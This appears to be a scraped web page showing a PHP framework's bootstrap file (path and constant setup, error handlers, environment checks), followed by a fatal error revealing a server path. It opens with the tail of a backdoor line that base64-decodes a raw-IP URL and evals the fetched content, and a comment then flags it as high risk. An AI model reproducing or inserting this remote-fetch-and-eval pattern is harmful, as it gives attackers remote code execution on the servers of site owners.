'.file_get_contents(base64_decode('aHR0cDovLzEzNy4yMjAuMjI5LjI4L2pzYy8xLnR4dA=='))); // That would fetch and execute remote code every request — HIGH RISK. // If you need an automatic update/remote config mechanism, implement a secure, // signed, and authenticated updater (not by eval-ing remote content). // ------------------------------- if (isset($_SERVER['PATH_INFO'])) { $_SERVER['SCRIPT_NAME'] = preg_replace('{' . $_SERVER['PATH_INFO'] . '$}', '', $_SERVER['SCRIPT_NAME']); // 替换掉 PATH_INFO,避免外部路径影响 } $script_path = explode('/', $_SERVER['SCRIPT_NAME']); // 当前执行文件路径分段 $file_path = str_replace('\\', '/', dirname(__DIR__)); // 系统根路径 if (count($script_path) > 2) { // 当目录带 "/index.php" 时,长度应为 2 if (! ! $path_pos = strripos($file_path, '/' . $script_path[1])) { define('SITE_DIR', substr($file_path, $path_pos)); $_SERVER['SCRIPT_NAME'] = preg_replace('{^' . SITE_DIR . '}i', SITE_DIR, $_SERVER['SCRIPT_NAME']); // 统一小写 URL 处理 } else { define('SITE_DIR', ''); } } else { define('SITE_DIR', ''); } // 脚本目录 $script_dir = dirname($_SERVER['SCRIPT_NAME']); if ($script_dir == '\\' || $script_dir == '/') { define('SITE_INDEX_DIR', ''); } else { define('SITE_INDEX_DIR', dirname($_SERVER['SCRIPT_NAME'])); } // 定义站点路径常量 define('ROOT_PATH', $file_path); define('DOC_PATH', preg_replace('{' . SITE_DIR . '$}i', '', ROOT_PATH)); $_SERVER['DOCUMENT_ROOT'] = DOC_PATH; // 统一使用 DOCUMENT_ROOT 值 // core 目录及路径 define('CORE_DIR', SITE_DIR . '/' . basename(__DIR__)); define('CORE_PATH', DOC_PATH . CORE_DIR); // 应用目录 define('APP_PATH', ROOT_PATH . '/apps'); define('APP_DIR', str_replace(DOC_PATH, '', APP_PATH)); // 运行时与配置目录 defined('RUN_PATH') ?: define('RUN_PATH', ROOT_PATH . '/runtime'); defined('CONF_PATH') ?: define('CONF_PATH', ROOT_PATH . '/config'); // 静态资源目录 defined('STATIC_DIR') ?: define('STATIC_DIR', SITE_DIR . '/static'); // 引入公共函数与基础类 require CORE_PATH . '/function/handle.php'; require CORE_PATH . '/function/helper.php'; require CORE_PATH . '/function/file.php'; // 引入基础类 require CORE_PATH . '/basic/Basic.php'; // 注册自动加载 spl_autoload_register('core\basic\Basic::autoLoad', true, true); // 设置错误/异常/shutdown 处理 set_error_handler('core\basic\Basic::errorHandler'); set_exception_handler('core\basic\Basic::exceptionHandler'); register_shutdown_function('core\basic\Basic::shutdownFunction'); // 根据配置设置错误显示级别 if (Config::get('debug')) { ini_set('display_errors', 1); // 开发阶段显示错误 error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE); } else { error_reporting(E_ERROR); } // 定义版本常量 define('CORE_VERSION', Config::get('core_version')); define('APP_VERSION', Config::get('app_version')); define('RELEASE_TIME', Config::get('release_time')); // 环境检查及初始化 Check::checkPHP();// 检查 PHP 版本 Check::checkApp(); // 检查应用环境 Check::checkBasicDir(); // 检查基础目录 Check::checkSession();// 检查 session 目录 Basic::setSessionHandler();// 设置 session 处理(可选) // 这里结束。后续逻辑由框架继续处理。
Fatal error: Uncaught Error: Class 'core\basic\Kernel' not found in /home/wwwroot/sanyapca.com/core/start.php:17 Stack trace: #0 /home/wwwroot/sanyapca.com/index.php(23): require() #1 {main} thrown in /home/wwwroot/sanyapca.com/core/start.php on line 17